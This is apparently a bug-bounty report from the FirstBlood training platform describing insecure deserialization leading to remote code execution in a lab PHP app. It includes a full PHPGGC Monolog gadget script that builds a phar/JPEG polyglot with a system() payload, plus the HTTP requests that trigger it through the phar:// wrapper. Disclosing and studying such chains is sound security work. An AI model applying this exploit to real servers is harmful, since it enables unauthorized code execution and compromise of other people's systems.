FirstBlood-#451RCE at https://62f9cb44c755-0xconft.a.firstbloodhackers.com/api/checkproof.php
This issue was discovered on FirstBlood v2



On 2021-10-25, 0xconft Level 5 reported:

Note for Sean & Karl : Thanks. i love this one :)

Hi there,

I found there's insecure deserialization vulnerability at firstblood that can lead to RCE. Here's how i exploiting this vulnerability

I notice that i can invoke phar:// at https://62f9cb44c755-0xconft.a.firstbloodhackers.com/api/checkproof.php on proof parameter

I found this endpoint https://62f9cb44c755-0xconft.a.firstbloodhackers.com/composer.json. And based on this i assume that there's monolog 2.1.1 installed

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 25 Oct 2021 17:12:55 GMT
Content-Type: application/json
Content-Length: 62
Connection: close
Last-Modified: Thu, 21 Oct 2021 20:45:37 GMT
ETag: "6171d171-3e"
Accept-Ranges: bytes

{
    "require": {
        "monolog/monolog": "2.1.1"
    }
}

looking at PHPGGC there's potential gadget for monolog 2.1.1

$ docker run phpggc -i monolog/rce1
Name           : Monolog/RCE1
Version        : 1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+
Type           : RCE (Function call)
Vector         : __destruct

./phpggc Monolog/RCE1 <function> <parameter>

I wrote some script to generate polygot jpg that contains gadget for monolog. i set the payload to write php script at /app/firstblood/upload/ directory. i found this path from the API call that trying to verify the existance of the image. after i uploaded the file

$ cat pharme.php 
<?php

include("lib/PHPGGC.php");
$gc = new \GadgetChain\Monolog\RCE1();
$parameters = $gc->process_parameters([
    'function' => 'system',
    'parameter' => 'echo "<?php phpinfo(); ?>" > /app/firstblood/upload/owned.php',
]);
$object = $gc->generate($parameters);

$phar = new \Phar("test.phar");
$phar->startBuffering();

$phar->setStub(file_get_contents('image.jpg') . "<?php __HALT_COMPILER(); ?>;");

$phar->setMetadata($object);

$phar->addFromString("test.jpg", "conft here");
$phar->stopBuffering();

?>

i run the script and saved the exploit as conft.jpg

$php pharme.php
$ mv test.phar conft.jpg

then i upload the conft.jpg to the vaccination proof

after i upload the pictures there's API call running. for testing the existince of the vaccination proof image that i mentioned before

GET /api/checkproof.php?proof=/app/firstblood/upload/44f7bea0bb74f0369eadf7424314646d0890b66b.jpg HTTP/1.1
Host: 62f9cb44c755-0xconft.a.firstbloodhackers.com
Cookie: drps=26a9bda19023a48b45f6880d8
Sec-Ch-Ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://62f9cb44c755-0xconft.a.firstbloodhackers.com/vaccination-manager/pub/submit-vaccination-proof.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

i figured that the uploaded file can be accessed in this url

https://62f9cb44c755-0xconft.a.firstbloodhackers.com/upload/44f7bea0bb74f0369eadf7424314646d0890b66b.jpg

Then i add phar wrapper to that file

GET /api/checkproof.php?proof=phar:///app/firstblood/upload/44f7bea0bb74f0369eadf7424314646d0890b66b.jpg HTTP/1.1
Host: 62f9cb44c755-0xconft.a.firstbloodhackers.com
Cookie: drps=26a9bda19023a48b45f6880d8
Sec-Ch-Ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://62f9cb44c755-0xconft.a.firstbloodhackers.com/vaccination-manager/pub/submit-vaccination-proof.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Then boom my payload excuted

Best Regards, 0xconft

P1 CRITICAL

Endpoint: /api/checkproof.php

This report contains multiple vulnerabilities:

  • Deserialization
  • Information leak/disclosure


FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

FirstBlood ID: 36
Vulnerability Type: Information leak/disclosure

It is possible to use the composer.json to aid with another vulnerability and gaining information/knowledge on versions used.